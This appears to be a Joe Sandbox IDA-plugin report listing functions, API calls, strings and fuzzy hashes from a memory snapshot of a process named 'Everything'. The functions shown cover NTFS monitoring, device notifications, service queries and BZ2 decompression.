Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: CriticalSection$EnterLeave$EventHeapWait$AllocMultipleObjectObjectsProcessResetSingle
String ID:
API String ID: 2528264715-0
Opcode ID: 68da3135dd29450f482d0fa575148c6e094892f1e464d5564a8224311e7bdaeb
Instruction ID: 026cd6b88fd1a1543988077058e391caf3465b49bcac9ae71d5187bad66e418c
Opcode Fuzzy Hash: 68da3135dd29450f482d0fa575148c6e094892f1e464d5564a8224311e7bdaeb
Instruction Fuzzy Hash: 4C416A32B04A5AA6E7489F62E9507AAB760FB85B94F404431DFAD83760EF3CE475D700

Function 00007FF63D4C1740 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 125COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00007FF63D4C17B8
CloseHandle.KERNEL32 ref: 00007FF63D4C17CB

Part of subcall function 00007FF63D524140: QueryPerformanceFrequency.KERNEL32(?,?,?,?,00007FF63D47EC98), ref: 00007FF63D524149
Part of subcall function 00007FF63D524140: QueryPerformanceCounter.KERNEL32(?,?,?,?,00007FF63D47EC98), ref: 00007FF63D524158

SetLastError.KERNEL32 ref: 00007FF63D55AD4F

Strings

set last error %d, xrefs: 00007FF63D55AD3F
_service_client_ioctrl reply %d in %f seconds, xrefs: 00007FF63D55ACC1
_service_client_ioctrl %u, s %u r %u, xrefs: 00007FF63D55AC76
stop ntfs_monitor %s %u %p, xrefs: 00007FF63D4C1769

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: PerformanceQuery$CloseCountCounterErrorFrequencyHandleLastTick
String ID: _service_client_ioctrl %u, s %u r %u$_service_client_ioctrl reply %d in %f seconds$set last error %d$stop ntfs_monitor %s %u %p
API String ID: 1627814034-2541180860
Opcode ID: 71bea037a20447b6c738870ffa29fc810daf66d672fd93d7bc72d5cf47c03e3a
Instruction ID: b02dcbd3dc486274c330548f0eb9fc48a12ac65094253d544b975ab0a21d9d66
Opcode Fuzzy Hash: 71bea037a20447b6c738870ffa29fc810daf66d672fd93d7bc72d5cf47c03e3a
Instruction Fuzzy Hash: AC51A432E0854A96EB119BA5E4412793361FB487B4F044231EE2E877D5EF3CE895A740

Function 00007FF63D4BA0C0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 116registryCOMMON

Download Yara Rule

APIs

RegisterDeviceNotificationA.USER32 ref: 00007FF63D4BA191
GetLastError.KERNEL32 ref: 00007FF63D4BA19F

Part of subcall function 00007FF63D54F550: CreateFileW.KERNEL32 ref: 00007FF63D54F5D4
Part of subcall function 00007FF63D54F550: DeviceIoControl.KERNEL32 ref: 00007FF63D54F63D
Part of subcall function 00007FF63D54F550: GetLastError.KERNEL32 ref: 00007FF63D54F647
Part of subcall function 00007FF63D54F550: CloseHandle.KERNEL32 ref: 00007FF63D54F669

RegisterDeviceNotificationA.USER32 ref: 00007FF63D4BA274
GetLastError.KERNEL32 ref: 00007FF63D4BA285

Strings

update register device notify (ntfs: %d refs: %d), xrefs: 00007FF63D4BA0EA
8, xrefs: 00007FF63D4BA25F
RegisterDeviceNotification %s failed! %d, xrefs: 00007FF63D4BA1AC, 00007FF63D4BA292

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: DeviceErrorLast$NotificationRegister$CloseControlCreateFileHandle
String ID: 8$RegisterDeviceNotification %s failed! %d$update register device notify (ntfs: %d refs: %d)
API String ID: 987035032-1259707150
Opcode ID: 65ed92b6e662ca06f0a727817eab738cdb0a6348b78baa5f733ec432eb7c5514
Instruction ID: c9a7bb7de684ec0cbdbc6e1bd6399f72385d69495fbf60e3368fac5e3fa22aa4
Opcode Fuzzy Hash: 65ed92b6e662ca06f0a727817eab738cdb0a6348b78baa5f733ec432eb7c5514
Instruction Fuzzy Hash: 57515032A08B4581EB508FA4F44136D77A0FB59BA8F041339EAAD877D9EF7CD4559700

Function 00007FF63D619F30 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 62libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF63D61DDFE,?,?,?,?,00000000,00000000,000000FF,00000000,A28000000001A38E,00007FF63D61B429), ref: 00007FF63D619F4A
GetModuleHandleA.KERNEL32(?,?,?,00007FF63D61DDFE,?,?,?,?,00000000,00000000,000000FF,00000000,A28000000001A38E,00007FF63D61B429), ref: 00007FF63D619F68
GetModuleHandleA.KERNEL32 ref: 00007FF63D619F95
GetProcAddress.KERNEL32 ref: 00007FF63D619FE8

Strings

KERNEL32.DLL, xrefs: 00007FF63D619F61
EncodePointer, xrefs: 00007FF63D619FDE
.mixcrt, xrefs: 00007FF63D619FC0

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: HandleModule$AddressProcValue
String ID: .mixcrt$EncodePointer$KERNEL32.DLL
API String ID: 2623865758-1746336069
Opcode ID: 0e738b0e9dd0fd2b30ad69a3de34deba4fc952c6c9f6e4d80ff2b342a77b8c97
Instruction ID: 0904d31221ab4085af13cfe291814ebde1b17798523fae3d7ad5847beec0866c
Opcode Fuzzy Hash: 0e738b0e9dd0fd2b30ad69a3de34deba4fc952c6c9f6e4d80ff2b342a77b8c97
Instruction Fuzzy Hash: 4D21B661F18A5A91EB948F91E84013963A1FF8AB55F485035D96EC3794FF3CE985F300

Function 00007FF63D619E60 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 60libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(00000000,?,00000000,00007FF63D61DE55,?,?,?,?,00000000,00000000,000000FF,00000000,A28000000001A38E,00007FF63D61B429), ref: 00007FF63D619E80
GetModuleHandleA.KERNEL32(00000000,?,00000000,00007FF63D61DE55,?,?,?,?,00000000,00000000,000000FF,00000000,A28000000001A38E,00007FF63D61B429), ref: 00007FF63D619E9B
GetModuleHandleA.KERNEL32 ref: 00007FF63D619EC2
GetProcAddress.KERNEL32 ref: 00007FF63D619F08

Strings

KERNEL32.DLL, xrefs: 00007FF63D619E94
EncodePointer, xrefs: 00007FF63D619EFE
.mixcrt, xrefs: 00007FF63D619EE0

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: HandleModule$AddressProcValue
String ID: .mixcrt$EncodePointer$KERNEL32.DLL
API String ID: 2623865758-1746336069
Opcode ID: 6b30e754aaadaa4f8fc935d50f4e7b1d5162ebb0f6a373f04bcd312fc096837c
Instruction ID: 44c9e09b0c7871752995f133729e6dbf32511699e0b43df4793f7d5cc84b961a
Opcode Fuzzy Hash: 6b30e754aaadaa4f8fc935d50f4e7b1d5162ebb0f6a373f04bcd312fc096837c
Instruction Fuzzy Hash: 0E21C561E08A6A95EB548F91E84013823A1FF47B94F58443AD93EC2790FF3CE985F300

Function 00007FF63D61A020 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 60libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(00000000,00000000,000002D8,00007FF63D61B615,?,?,000002D8,00007FF63D61DCB7,?,?,?,?,00000000,00007FF63D61AFBE), ref: 00007FF63D61A040
GetModuleHandleA.KERNEL32(00000000,00000000,000002D8,00007FF63D61B615,?,?,000002D8,00007FF63D61DCB7,?,?,?,?,00000000,00007FF63D61AFBE), ref: 00007FF63D61A05B
GetModuleHandleA.KERNEL32 ref: 00007FF63D61A082
GetProcAddress.KERNEL32 ref: 00007FF63D61A0C8

Strings

KERNEL32.DLL, xrefs: 00007FF63D61A054
.mixcrt, xrefs: 00007FF63D61A0A0
DecodePointer, xrefs: 00007FF63D61A0BE

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: HandleModule$AddressProcValue
String ID: .mixcrt$DecodePointer$KERNEL32.DLL
API String ID: 2623865758-2532145718
Opcode ID: dc941b6f0c9983239806b4a8bbc5e579d97c0cc3782417b6b832184af92ee80c
Instruction ID: 056f39bd31049e92320afc3063e4f59001f22491ac23a195f9a0205ca817bb4b
Opcode Fuzzy Hash: dc941b6f0c9983239806b4a8bbc5e579d97c0cc3782417b6b832184af92ee80c
Instruction Fuzzy Hash: F1219222F08A6B85EB548F91AC401782361FF46B99F584535DA2D82394FF3CE886F310

Function 00007FF63D558E50 Relevance: 12.1, APIs: 8, Instructions: 87serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32 ref: 00007FF63D558E76
OpenServiceW.ADVAPI32 ref: 00007FF63D558EAC
QueryServiceStatusEx.ADVAPI32 ref: 00007FF63D558ED6
OpenServiceW.ADVAPI32 ref: 00007FF63D558F08

Part of subcall function 00007FF63D53F700: GetProcessHeap.KERNEL32(?,?,?,?,-0000FFFE,00007FF63D5ED8A7,?,?,?,00007FF63D47106C), ref: 00007FF63D53F709
Part of subcall function 00007FF63D53F700: HeapAlloc.KERNEL32(?,?,?,?,-0000FFFE,00007FF63D5ED8A7,?,?,?,00007FF63D47106C), ref: 00007FF63D53F717

QueryServiceConfigW.ADVAPI32 ref: 00007FF63D558F40
CloseServiceHandle.ADVAPI32 ref: 00007FF63D558F8D
CloseServiceHandle.ADVAPI32 ref: 00007FF63D558FAE
CloseServiceHandle.ADVAPI32 ref: 00007FF63D558FB7

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: Service$CloseHandleOpen$HeapQuery$AllocConfigManagerProcessStatus
String ID:
API String ID: 4204211940-0
Opcode ID: b1922ff0c5f1df16e8ab5f3f184f67f943290c2e2d2c942c994d66d4ec61808e
Instruction ID: cd7ddedbc693e18ed9f660a4b9122b1c55edcc58c448a2ba29db6a69e2617f79
Opcode Fuzzy Hash: b1922ff0c5f1df16e8ab5f3f184f67f943290c2e2d2c942c994d66d4ec61808e
Instruction Fuzzy Hash: 07319565B19A9A95FB60DB52E8143AA6361FFC9B94F844035DE4E83B44EF3CE404E704

Function 00007FF63D4C1800 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 118COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00007FF63D4C1850
CloseHandle.KERNEL32 ref: 00007FF63D4C1863

Part of subcall function 00007FF63D524140: QueryPerformanceFrequency.KERNEL32(?,?,?,?,00007FF63D47EC98), ref: 00007FF63D524149
Part of subcall function 00007FF63D524140: QueryPerformanceCounter.KERNEL32(?,?,?,?,00007FF63D47EC98), ref: 00007FF63D524158

SetLastError.KERNEL32 ref: 00007FF63D55B1DF

Strings

set last error %d, xrefs: 00007FF63D55B1CF
_service_client_ioctrl reply %d in %f seconds, xrefs: 00007FF63D55B151
_service_client_ioctrl %u, s %u r %u, xrefs: 00007FF63D55B106

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: PerformanceQuery$CloseCountCounterErrorFrequencyHandleLastTick
String ID: _service_client_ioctrl %u, s %u r %u$_service_client_ioctrl reply %d in %f seconds$set last error %d
API String ID: 1627814034-1087158519
Opcode ID: e55eede34c394a2b9db6b85db98efb65300f9e9190ea0b4d57156bc880c3712a
Instruction ID: 51b2f59091c135a04f762a0984d9486c9a926504a01401042737734a9a82e164
Opcode Fuzzy Hash: e55eede34c394a2b9db6b85db98efb65300f9e9190ea0b4d57156bc880c3712a
Instruction Fuzzy Hash: C341E332E0864A86EB518FA1E4412793261EF857B4F184231DE2D877C1FF3CE895A780

Function 00007FF63D474D60 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32 ref: 00007FF63D474DB4

Strings

BZ2_bzDecompress(): %d: Failed to decompress., xrefs: 00007FF63D474E9E
BZ2_bzDecompress(): %d: Unexpected EOF in decompression stream., xrefs: 00007FF63D474E46
ReadFile(): %d: Failed to read., xrefs: 00007FF63D474E6C, 00007FF63D474E87

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: FileRead
String ID: BZ2_bzDecompress(): %d: Failed to decompress.$BZ2_bzDecompress(): %d: Unexpected EOF in decompression stream.$ReadFile(): %d: Failed to read.
API String ID: 2738559852-2845142729
Opcode ID: e645d4e67a7ccd5d5879b26f84b48ae986d5437351dff4c12f153b87d6f83331
Instruction ID: 76436ad61d754549f37fa43631de96615b053983676fa9623454b8436d030934
Opcode Fuzzy Hash: e645d4e67a7ccd5d5879b26f84b48ae986d5437351dff4c12f153b87d6f83331
Instruction Fuzzy Hash: F3413D72A0864A97EB709BA1F08017AB3A0FB84754F154435DBEE83B95EF7CE445EB00

Function 00007FF63D4748A0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32 ref: 00007FF63D4748F4

Strings

BZ2_bzDecompress(): %d: Failed to decompress., xrefs: 00007FF63D4749DF
BZ2_bzDecompress(): %d: Unexpected EOF in decompression stream., xrefs: 00007FF63D474987
ReadFile(): %d: Failed to read., xrefs: 00007FF63D4749AD, 00007FF63D4749C8

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: FileRead
String ID: BZ2_bzDecompress(): %d: Failed to decompress.$BZ2_bzDecompress(): %d: Unexpected EOF in decompression stream.$ReadFile(): %d: Failed to read.
API String ID: 2738559852-2845142729
Opcode ID: 4305b596c4f63c49cc7889f398186919bdac95f911097467c332032c63805888
Instruction ID: a958dec973b359bf4d35c23e85bc52c2dc735cefb8036b8d37947cf2539c9379
Opcode Fuzzy Hash: 4305b596c4f63c49cc7889f398186919bdac95f911097467c332032c63805888
Instruction Fuzzy Hash: 07414A72A0864A97EB709BB1F04017AB3A1FB84754F154036DAEE83B95EF7CE455EB00

Function 00007FF63D474750 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32 ref: 00007FF63D4747A4

Strings

BZ2_bzDecompress(): %d: Failed to decompress., xrefs: 00007FF63D47488E
BZ2_bzDecompress(): %d: Unexpected EOF in decompression stream., xrefs: 00007FF63D474836
ReadFile(): %d: Failed to read., xrefs: 00007FF63D47485C, 00007FF63D474877

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: FileRead
String ID: BZ2_bzDecompress(): %d: Failed to decompress.$BZ2_bzDecompress(): %d: Unexpected EOF in decompression stream.$ReadFile(): %d: Failed to read.
API String ID: 2738559852-2845142729
Opcode ID: dc4562cc5e01d4d15ed8a3588b8b667eadf2c83bc719e62d6b809a20c0dc0a37
Instruction ID: 82e6cfbf8d4895ab5519941fc398d8a42e11cfd1c4ad5cf2740986bfb3d2c89b
Opcode Fuzzy Hash: dc4562cc5e01d4d15ed8a3588b8b667eadf2c83bc719e62d6b809a20c0dc0a37
Instruction Fuzzy Hash: 56413D36A0868A97EB609FA1F04007AB3A4FB45794F154035DADE83B95EF7CE485E700

Function 00007FF63D4BDA40 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF63D4C17AD), ref: 00007FF63D4BDA7D
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF63D4C17AD), ref: 00007FF63D4BDA9F
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF63D4C17AD), ref: 00007FF63D4BDAD9
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF63D4C17AD), ref: 00007FF63D4BDAF1

Part of subcall function 00007FF63D5489E0: WaitForSingleObject.KERNEL32(?,?,?,00007FF63D480C6E), ref: 00007FF63D5489ED
Part of subcall function 00007FF63D5489E0: EnterCriticalSection.KERNEL32(?,?,?,00007FF63D480C6E), ref: 00007FF63D548A03

SetEvent.KERNEL32 ref: 00007FF63D4BDB81

Strings

resume ntfs monitor %d, xrefs: 00007FF63D4BDB47

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
